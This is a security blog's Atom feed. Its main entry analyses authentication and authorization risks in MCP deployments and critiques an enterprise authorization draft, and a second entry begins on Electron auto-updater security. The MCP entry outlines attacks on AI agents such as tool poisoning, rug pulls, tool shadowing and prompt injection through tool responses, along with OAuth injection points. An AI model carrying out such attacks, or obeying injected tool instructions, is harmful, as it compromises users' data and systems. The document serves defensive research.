<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Doyensec's Blog</title>
 <link href="https://blog.doyensec.com/atom.xml" rel="self"/>
 <link href="https://blog.doyensec.com/"/>
 <updated>2026-03-06T12:01:25+01:00</updated>
 <id>https://blog.doyensec.com</id>
 <author>
   <name>Doyensec LLC.</name>
   <email>info@doyensec.com</email>
 </author>

 
 <entry>
   <title>The MCP AuthN/Z Nightmare</title>
   <link href="https://blog.doyensec.com/2026/03/05/mcp-nightmare.html"/>
   <updated>2026-03-05T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2026/03/05/mcp-nightmare</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/MCP-nightmare.png&quot; alt=&quot;The MCP AuthN/Z Nightmare&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This article shares our perspective on the current state of authentication and authorization in enterprise-ready, remote MCP server deployments.&lt;/p&gt;

&lt;p&gt;Before diving into that discussion, we’ll first outline the most common attack vectors. Understanding these threats is essential to properly frame the security challenges that follow. If you’re already familiar with them, feel free to skip to the section &lt;a href=&quot;#enterprise-authentication-and-authorization-a-work-in-progress&quot;&gt;“Enterprise Authentication and Authorization: a Work in Progress”&lt;/a&gt; below.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Huge shoutout to &lt;a href=&quot;https://goteleport.com/&quot; target=&quot;_blank&quot;&gt;Teleport&lt;/a&gt; for sponsoring this research. Thanks to their support, we have been able to conduct cutting-edge security research on this topic. Stay tuned for upcoming MCP security updates!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At this stage, introducing the &lt;strong&gt;Model Context Protocol (MCP)&lt;/strong&gt; would be redundant since it has already been thoroughly covered in the recent surge of security blog posts.&lt;/p&gt;

&lt;p&gt;For anyone who may have missed the conversation, here’s a brief recap:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;MCP is a protocol used to connect AI models to: data, tools and prompts. It uses &lt;strong&gt;JSON-RPC&lt;/strong&gt; messages for communication. It’s a stateful connection where clients and servers negotiate capabilities.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A high-level architecture is provided below:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/MCP_basic.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;References: &lt;a href=&quot;https://modelcontextprotocol.io/specification/2025-11-25&quot; target=&quot;_blank&quot;&gt;MCP Specification&lt;/a&gt; and &lt;a href=&quot;https://modelcontextprotocol.io/specification/2025-11-25/architecture&quot; target=&quot;_blank&quot;&gt;MCP Architecture&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;mcp-attack-vectors&quot;&gt;MCP Attack Vectors&lt;/h2&gt;

&lt;p&gt;Several categories of vulnerabilities pertaining to MCP emerged in the wild. While it might not fit every bug you read about, as things are changing on a daily basis, a good starting point is the good and not-so-old &lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/&quot; target=&quot;_blank&quot;&gt;OWASP MCP Top 10&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Below are the most relevant vulnerabilities we have encountered so far, organized by the malicious actor profile:&lt;/p&gt;
&lt;h4 id=&quot;malicious-mcp-server&quot;&gt;Malicious MCP Server&lt;/h4&gt;

&lt;p&gt;Rogue MCP servers could intentionally exploit clients with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks&quot; target=&quot;_blank&quot;&gt;Tool Poisoning&lt;/a&gt;&lt;/strong&gt;: The server provides malicious tool definitions or modifies them after user approval. Sub-categories and variations of the attack:
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://invariantlabs.ai/blog/whatsapp-mcp-exploited&quot; target=&quot;_blank&quot;&gt;Rug Pulls&lt;/a&gt;&lt;/em&gt;: A server presents benign capabilities during initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tools/list&lt;/code&gt; call, then switches to malicious ones during execution or in subsequent MCP messages&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Tool Shadowing&lt;/em&gt;: A malicious server injects tool descriptions that modify the agent’s behavior with respect to a trusted tool&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Schema Poisoning&lt;/em&gt;: Corrupting interface definitions to mislead the model. The schema is used by MCP clients to validate the tool inputs and outputs and to let the model know what is required to interrogate them&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/2025/MCP06-2025%E2%80%93Intent-Flow-Subversion&quot; target=&quot;_blank&quot;&gt;Prompt Injection via Tool Responses&lt;/a&gt;&lt;/strong&gt;: The server returns malicious instructions embedded in MCP responses to normal actions, which the client’s LLM then executes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/2025/MCP06-2025%E2%80%93Intent-Flow-Subversion&quot; target=&quot;_blank&quot;&gt;Data Exfiltration via Resources&lt;/a&gt;&lt;/strong&gt;: Malicious servers exposing resources that leak sensitive client information etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It should be highlighted that the the listed attacks are exploitable by either local or remote MCP servers. Of course, the outcome varies drastrically in terms of achievable impacts.&lt;/p&gt;

&lt;h4 id=&quot;malicious-mcp-client&quot;&gt;Malicious MCP Client&lt;/h4&gt;

&lt;p&gt;Rogue MCP clients could intentionally exploit servers with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/2025/MCP05-2025%E2%80%93Command-Injection&amp;amp;Execution&quot; target=&quot;_blank&quot;&gt;Command Injection&lt;/a&gt;&lt;/strong&gt;: Crafted MCP Message inputs sent to vulnerable MCP servers that do not properly sanitize - allowing arbitrary command execution (mostly in a old-fashioned way)
    &lt;ul&gt;
      &lt;li&gt;Examples: &lt;a href=&quot;https://github.com/RestDB/codehooks-mcp-server/security/advisories/GHSA-fhq6-jf5q-qxvq&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-53100&lt;/code&gt;&lt;/a&gt; (RestDB’s Codehooks.io MCP Server), &lt;a href=&quot;https://github.com/advisories/GHSA-6jx8-rcjx-vmwf&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-53818&lt;/code&gt;&lt;/a&gt; (GitHub Kanban MCP Server)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/2025/MCP10-2025%E2%80%93ContextInjection&amp;amp;OverSharing&quot; target=&quot;_blank&quot;&gt;Context Injection &amp;amp; Over-Sharing&lt;/a&gt;&lt;/strong&gt;: Servers that do not properly isolate context, allowing exfiltration of sensitive information from other users/sessions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-project-mcp-top-10/2025/MCP06-2025%E2%80%93Intent-Flow-Subversion&quot; target=&quot;_blank&quot;&gt;Prompt Injection&lt;/a&gt;&lt;/strong&gt;: The MCP Server could receive malicious prompts from the client, which would then modify its behavior to execute the requested tasks&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;other-malicious-actors&quot;&gt;Other Malicious Actors&lt;/h4&gt;
&lt;p&gt;Beyond the traditional client-server factors, an MCP ecosystem could also be compromised by:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;MCP Proxies/Gateways&lt;/strong&gt;: Intermediary systems (like MCP proxies) used for routing and authorization of MCP. These could alter passing MCP messages or simply be vulnerable to policy bypasses. You might be surprised by the number of &lt;a href=&quot;https://github.com/e2b-dev/awesome-mcp-gateways?tab=readme-ov-file&quot; target=&quot;_blank&quot;&gt;MCP Gateways out there&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Single-Sign-On (SSO) Intermediaries&lt;/strong&gt;: MCP servers using OAuth 2.0/2.1 for authorization rely on discovery endpoints (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.well-known/oauth-authorization-server&lt;/code&gt;) and dynamic client registration. Malicious actors could exploit these intermediaries by injecting fake metadata, manipulating redirect URIs, or compromising the registration endpoint to obtain unauthorized client credentials (e.g., &lt;a href=&quot;https://github.com/cloudflare/workers-oauth-provider/pull/27&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-4144&lt;/code&gt;&lt;/a&gt; - a PKCE bypass in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;workers-oauth-provider&lt;/code&gt;, &lt;a href=&quot;https://github.com/cloudflare/workers-oauth-provider/pull/26&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2025-4143&lt;/code&gt;&lt;/a&gt; - improper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;redirect_uri&lt;/code&gt; validation)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-nightmare-new-actors-new-problems-to-solve&quot;&gt;The Nightmare: New Actors, New Problems to Solve&lt;/h2&gt;

&lt;p&gt;Securing SSO remains an open challenge for the industry due to its intrinsic complexity. The past few years have highlighted this reality, with a steady stream of severe vulnerabilities affecting &lt;a href=&quot;https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html&quot; target=&quot;_blank&quot;&gt;OAuth2, OIDC&lt;/a&gt;, SAML and &lt;a href=&quot;https://blog.doyensec.com/2025/05/08/scim-hunting.html&quot; target=&quot;_blank&quot;&gt;SCIM&lt;/a&gt; implementations.&lt;/p&gt;

&lt;p&gt;Yet, progress never stops and authentication &amp;amp; authorization in MCP are the new inevitable nightmare. Being a relatively new protocol, the standards for how clients and servers should establish trust are still evolving, leading to a fragmented ecosystem.&lt;/p&gt;

&lt;p&gt;The specifications for AuthN/AuthZ are subject to continuous changes and extensions, as is common for newborn protocols. This instability means that today’s “secure and compliant” implementation might be deprecated or insufficiently secure tomorrow.&lt;/p&gt;

&lt;blockquote&gt;
  Just few of the latest Specification Enhancement Proposals (SEPs) in MCP
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/images/seps.png&quot; alt=&quot;Specification Enhancement Proposals (SEPs)&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Multiple significant issues have been emerging in the MCP SSO implementation, many as descendants of the common &lt;a href=&quot;https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html&quot; target=&quot;_blank&quot;&gt;OAuth2/OIDC vulnerabilities&lt;/a&gt;, but also new ones.&lt;/p&gt;

&lt;p&gt;We have seen browser-based clients or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;open()&lt;/code&gt; URL handlers exploited to launch arbitrary processes or redirect to malicious servers, showing the fragility of the MCP client-side implementation, often linked to automatic action executors.&lt;/p&gt;

&lt;p&gt;Then, attacks against the new metadata discovery and old-school metadata endpoints:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Protected Resource Metadata (PRM)&lt;/em&gt; documents injected with malicious URI schemes&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;OIDC Discovery&lt;/em&gt; endpoints manipulated to redirect flows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notable mentions around the cited scenarios are: &lt;a href=&quot;https://jfrog.com/blog/2025-6514-critical-mcp-remote-rce-vulnerability/&quot; target=&quot;_blank&quot;&gt;CVE-2025-6514&lt;/a&gt;, &lt;a href=&quot;https://verialabs.com/blog/from-mcp-to-shell/&quot; target=&quot;_blank&quot;&gt;“From MCP to Shell”&lt;/a&gt;, &lt;a href=&quot;https://www.wiz.io/vulnerability-database/cve/cve-2025-4144&quot; target=&quot;_blank&quot;&gt;CVE-2025-4144&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2025-4143&quot; target=&quot;_blank&quot;&gt;CVE-2025-4143&lt;/a&gt;, &lt;a href=&quot;https://github.com/LSTM-Kirigaya/openmcp-client/security/advisories/GHSA-43m4-p3rv-c4v8&quot; target=&quot;_blank&quot;&gt;CVE-2025-58062&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Furthermore, many implementations (like &lt;a href=&quot;https://github.com/anthropics/claude-code/security/advisories/GHSA-9f65-56v6-gxw7&quot; target=&quot;_blank&quot;&gt;IDE extensions&lt;/a&gt; and &lt;a href=&quot;https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g&quot; target=&quot;_blank&quot;&gt;CVE-2025-49596&lt;/a&gt;) assumed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt; was secure, starting WebSocket servers without auth, allowing any local process (or malicious website via DNS rebinding) to connect.&lt;/p&gt;

&lt;p&gt;While keeping up with the latest news is pretty complex, time consuming and not always possible, we attempted to sum-up the potential injection points affecting the current MCP Authentication via OAuth2 and dynamic client registration.&lt;/p&gt;

&lt;h3 id=&quot;a-scary-sequence-diagram&quot;&gt;A Scary Sequence Diagram&lt;/h3&gt;

&lt;p&gt;The monolith sequence diagram below embodies the title of this post. It should serve as a reminder of how extensive the attack surface is and how many injection points exist. One could argue that “every step is an injection point” and that would not be inaccurate. However, the goal here is to illustrate the full length of the authorization flow, from start to finish, highlighting the many branches, variations, and opportunities for subtle yet impactful vulnerabilities.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;
&lt;img src=&quot;../../../public/images/MCP_Authz_Nightmare.png&quot; alt=&quot;MCP Authz Sequence Diagram&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;
&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The high-resolution PDF file can be &lt;a href=&quot;../../../public/images/MCP_Authz_SequenceDiagram.pdf&quot;&gt;downloaded here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;While prompt injection requires a different approach, most of the injection points and impactful outcomes, such as LFI, RCE, etc. could be prevented by strictly applying sanitization and validation of the inputs. Still, the monolith highlights how complex it is to do so, given the length and variety of actors throughout the entire flow.&lt;/p&gt;

&lt;h2 id=&quot;enterprise-authentication-and-authorization-a-work-in-progress&quot;&gt;Enterprise Authentication and Authorization: a Work in Progress&lt;/h2&gt;

&lt;p&gt;In the OAuth specification, there is &lt;strong&gt;scope consent by the user at the time of authorization&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;The user &lt;em&gt;HAS&lt;/em&gt; to see and approve the exact scopes for each third-party tool/app/etc. before any token is issued by the IdP.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Currently, there is no homogeneous way to manage MCP security across an enterprise. While individual MCP tools struggle with authentication and often just rely on secret tokens, the &lt;strong&gt;Enterprise-level&lt;/strong&gt; authN/Z is a whole other challenge.&lt;/p&gt;

&lt;p&gt;In fact, in enterprise-managed authorization the &lt;strong&gt;scope consent is decoupled from the time of authorization&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;As an example, an MCP client with enterprise authorization could be accessing Slack and GitHub on behalf of the user, but the user never explicitly consented to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github:read&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slack:write&lt;/code&gt; in a consent screen. The local agent decided the task and the scopes required, and the enterprise policy enforcement decided to allow it on behalf of the user based off their MCP Client identity.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Down that path, there is intermediary tooling trying to offer a partial solution such as &lt;strong&gt;MCP Proxies/Gateways&lt;/strong&gt;. While they are extremely useful at aggregating MCP severs under the same centrally-managed authentication and authorization layer, they are still not solving the problem rising with dynamic scopes and plug-and-play third-party tools/apps.&lt;/p&gt;

&lt;p&gt;On the other side, there are active discussions around a native &lt;strong&gt;Enterprise-Managed Authorization Extension&lt;/strong&gt; for the Model Context Protocol. During our research on the matter, we had the possibility to do a deep dive into a current draft of the extension, which relies on the &lt;strong&gt;Identity Assertion JWT Authorization Grant (JAG)&lt;/strong&gt;. Given our exposure to real-life security engineering challenges faced by our clients, we decided to take a step further and offer our feedback on the draft. We strongly suggest reading the &lt;a href=&quot;https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/enterprise-managed-authorization.mdx&quot; target=&quot;_blank&quot;&gt;Extension Draft&lt;/a&gt; and Doyensec’s &lt;a href=&quot;https://github.com/modelcontextprotocol/ext-auth/pull/12&quot; target=&quot;_blank&quot;&gt;pull-request with the updated &lt;em&gt;Security Considerations&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;the-jag-problem-identity-assertion-jwt-authorization-grant&quot;&gt;The JAG Problem (Identity Assertion JWT Authorization Grant)&lt;/h3&gt;

&lt;p&gt;The following summarizes the JAG approach and our considerations. For readers interested in understanding all the aspects in great depth, we would recommend reading the full &lt;a href=&quot;https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/enterprise-managed-authorization.mdx&quot; target=&quot;_blank&quot;&gt;draft&lt;/a&gt; before continuing.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/two-mcps.png&quot; alt=&quot;JWT Authorization Grant&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 240px;&quot; /&gt;&lt;/center&gt;

&lt;p&gt;The main idea of this specification revolves around leveraging existing Enterprise Identity Providers (IdPs), such as Okta or Azure AD.&lt;/p&gt;

&lt;p&gt;The flow’s key-points are:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/MCP_JAG.png&quot; alt=&quot;JWT Authorization Grant&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The current specification introduces a few outstanding challenges:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Access Invalidation Problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are three level of tokens issued throughout a correct execution of the flow:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ID Token from IdP&lt;/li&gt;
  &lt;li&gt;ID Token For the Grant (JAG ID) from IdP&lt;/li&gt;
  &lt;li&gt;MCP Access Token from the MCP Authorization Server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The proposed specification does not explicitly describe mechanisms for invalidating access to an MCP client or revoking issued tokens / ID-JAG.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;MCP-Specific Note:&lt;/strong&gt; While the access invalidation is also unspecified in the parent RFCs, the high risk associated with non-deterministic agentic accesses to tools and resources should require an access invalidation flow for the Enterprise context. Otherwise, the enterprise processes being authorized with the above mentioned spec would not have a clear emergency recovery pattern whenever agents start misbehaving (e.g., injections and other widely known attacks).
Consequently, every actor could end-up proposing its own recovery pattern, bringing ambiguity and implementation differences.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;2. LLM Scope Abuse Without User Consent&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In JAG,  the &lt;strong&gt;IdP issues an ID Token&lt;/strong&gt; with no scopes embedded. It just states the identity of the user to allow impersonation from the MCP client. When the MCP client requests a JAG for high-risk scopes like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github:write slack:write&lt;/code&gt;, no consent pop-up is triggered. The enterprise policy decides on behalf of the user being impersonated.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;MCP-Specific Note:&lt;/strong&gt; While this is totally normal in a classic Machine-to-Machine (M2M) environemnt where the enterprise users are expected to be directly mandating specific tasks on their behalf to automation software, that standard does not apply to the MCP field.&lt;/p&gt;

  &lt;p&gt;The tasks and actions list being transformed into MCP interactions are not directly chosen deterministically from the end-user.&lt;/p&gt;

  &lt;p&gt;In general, the consent requirement bypass offered by JAG  would allow LLMs to autonomously request any scope permitted by enterprise policies, even if it’s irrelevant to the user’s current task, removing the human-in-the-loop for high-risk actions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;3. How the IdP Creates, Distributes and Validates Clients&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Within the JAG proposal, it is not declared how the IdP should issue/distribute client credentials (secret vs. private-key JWT vs. mTLS, how they’re delivered, rotation, etc.).&lt;/p&gt;

&lt;p&gt;Moreover, it is not declared how important it is for the IdP to ensure that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;audience&lt;/code&gt; (The Issuer URL of the MCP server’s authorization server) is linked to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resource&lt;/code&gt; (The RFC9728 Resource Identifier of the MCP server).&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;MCP-Specific Note:&lt;/strong&gt; While such a practice is unspecified in the parent specifications, enterprise architectures are usually based on multiple IdPs managing access to a wide range of resources, often overlapping: e.g., both IdP A and IdP B can authorize access to app C. Within the presented Enterprise MCP scenario, multiple IdPs could be authorizing multiple MCP Authorization Servers (often overlapping), while each of them manages scopes for a range of MCP Servers.&lt;/p&gt;

  &lt;p&gt;In such context, clearly defining namespaces and required checks on IdPs and MCP Authorization Servers would help preventing implementation issues like:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;Scope Namespace Collision&lt;/strong&gt;: If Server A and Server B both use common scope names like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files:read&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:write&lt;/code&gt;, etc., the attacker could leverage a low-privilege ID-JAG from Server B to gain access to Server A if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aud&lt;/code&gt; is not checked to be the Authorization Server and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resource&lt;/code&gt; as one of the MCP Servers managed by the specific MCP Authorization Server&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;Resource Identifier Injection&lt;/strong&gt;: If the MCP Server Authorization Server doesn’t validate that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resource&lt;/code&gt; claim in the ID-JAG matches its own registered resource identifier, it cannot distinguish between ID-JAGs intended for different servers. Once obtained an MCP session, the injected value could be lost and irrelevant, allowing cross-access.&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;The IdP must ensure that JAGs for resources not managed by the caller client are not forged.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;4. ID-JAG Replay Concern&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Whenever a single ID-JAG can mint multiple MCP Server access tokens, and those access tokens can invoke high-impact tools, then the ID-JAG becomes an &lt;em&gt;amplifier&lt;/em&gt; of damage. That is why the decision of enforcing single-use checks on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jti&lt;/code&gt; should belong within the specification.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Authentication and authorization, especially in the context of SSO and transitive trust across third parties, have historically been a breeding ground for subtle, high-impact vulnerabilities. MCP does not change this reality. If anything, by introducing additional layers of indirection, remote server pooling, and agent-driven workflows, it amplifies the existing complexity. &lt;strong&gt;In the near term, we should expect AuthN/Z in MCP deployments to remain a challenging and error-prone domain.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For this reason, both auditors and developers should apply the strictest possible validation at every step of any SSO flow involving MCP. Token issuance, audience binding, scope enforcement, session propagation, identity mapping, trust establishment, and revocation logic all deserve explicit scrutiny. The end-to-end sequence diagram presented in this article is intended as a practical starting point: a tool to reason about the full authorization chain, enumerate trust boundaries, and systematically derive a security test plan. Every transition in that flow should be treated as a potential injection point or trust confusion opportunity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When it comes to enterprise-managed authorization models, approaches such as JAG raise significant concerns.&lt;/strong&gt; They introduce complex cross-specification dependencies, expand the number of actors involved in trust decisions, and substantially widen the attack surface. More critically, the model’s reliance on full user impersonation by non-deterministic agents, capable of autonomously selecting and executing tasks without explicit per-action user consent, is misaligned with MCP’s security requirements. Delegation without tight contextual constraints is indistinguishable from privilege escalation when boundaries are not rigorously enforced.&lt;/p&gt;

&lt;p&gt;Based on our experience, a more robust direction for enterprise MCP deployments would emphasize strong, explicit trust anchors and protocol minimization. &lt;strong&gt;Technologies such as certificate-based authorization and mTLS, adapted specifically to MCP’s interaction model, provide clearer security properties and reduce ambiguity in identity binding.&lt;/strong&gt; These mechanisms should be complemented by:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Explicit protections for high-risk or irreversible actions&lt;/li&gt;
  &lt;li&gt;Uniform and centralized access invalidation mechanisms for incident response and disaster recovery&lt;/li&gt;
  &lt;li&gt;Strict resource namespacing and deterministic scope mapping&lt;/li&gt;
  &lt;li&gt;Clear separation between user delegation and agent execution contexts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In short, the goal should not be to replicate the full complexity of traditional enterprise SSO stacks inside MCP, but to reduce implicit trust, constrain delegation semantics, and make authorization decisions auditable and deterministic.&lt;/p&gt;

&lt;p&gt;If the industry has learned anything from the past decade of OAuth, OIDC, SAML, and SCIM vulnerabilities, it is that complexity without strong invariants inevitably leads to security gaps. MCP deployments would do well to internalize that lesson early.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Building a Secure Electron Auto-Updater</title>
   <link href="https://blog.doyensec.com/2026/02/16/electron-safe-updater.html"/>
   <updated>2026-02-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2026/02/16/electron-safe-updater</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In cooperation with the &lt;a href=&quot;https://www.upv.es/index-en.html&quot;&gt;Polytechnic University of Valencia&lt;/a&gt; and &lt;a href=&quot;https://doyensec.com/&quot;&gt;Doyensec&lt;/a&gt;, I spent over six months during my internship in a research that combines theoretical foundations in code signing and secure update designs with a practical implementation of these learnings.&lt;/p&gt;

&lt;p&gt;This motivated the development of &lt;a href=&quot;https://github.com/doyensec/ElectronSafeUpdater&quot;&gt;SafeUpdater&lt;/a&gt;, a macOS updater vaguely based on the update mechanisms used by &lt;a href=&quot;https://github.com/signalapp/Signal-Desktop&quot;&gt;Signal Desktop&lt;/a&gt;, but otherwise designed as a modular extension.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/doyensec/ElectronSafeUpdater&quot;&gt;SafeUpdater&lt;/a&gt; is a package designed for MacOS systems, but its interfaces are easily extensible to both Windows and Linux.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Please note that “SafeUpdater” is not intended to be used as a general-purpose package, but as a reference design illustrating how update mechanisms can be built around explicit threat models and concrete attack mitigations.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;⚠️ This software is provided as-is, is not intended for production use, and has not undergone extensive testing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;the-state-of-electron-auto-updates&quot;&gt;The State of Electron Auto-Updates&lt;/h2&gt;

&lt;p&gt;A software update is the process by which improvements, bug fixes, or changes in functionality are incorporated into an existing application. This process is crucial for maintaining the security of the app, improving performance, and ensuring compatibility with different systems. Because updates are central to both the maintenance and evolution of software, the update mechanism itself becomes one of the most sensitive points from a security perspective.&lt;/p&gt;

&lt;p&gt;In Electron applications, an updater typically runs with full user privileges, downloading executable code from the Internet, and may install it with little or no user interaction. If this mechanism is compromised, the result is effectively a remote code execution channel.&lt;/p&gt;

&lt;p&gt;Being one of the most widely used application frameworks for desktop apps, Electron also represents one of the most attractive targets for attackers. While the official framework update mechanism provides a ready-to-use solution for most applications, it doesn’t protect against certain classes of attacks.&lt;/p&gt;

&lt;p&gt;Currently, there are two main solutions for implementing an auto-update system in ElectronJS:&lt;/p&gt;

&lt;h3 id=&quot;autoupdater&quot;&gt;autoUpdater&lt;/h3&gt;

&lt;p&gt;The first is the built-in &lt;a href=&quot;https://www.electronjs.org/docs/latest/api/auto-updater&quot;&gt;auto-updater&lt;/a&gt; module provided by Electron itself. This module handles the basic workflow of checking if there are updates available, downloading the update, and applying it, using standard HTTP(S) and relying on code signing and framework-specific metadata for file integrity.&lt;/p&gt;

&lt;p&gt;One of the simplest ways to use it is with &lt;a href=&quot;https://www.npmjs.com/package/update-electron-app&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update-electron-app&lt;/code&gt;&lt;/a&gt;, a Node.js drop-in solution that is based on Electron’s standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoUpdater&lt;/code&gt; method without changing its underlying security assumptions. The following code snippet shows an example of its implementation:&lt;/p&gt;

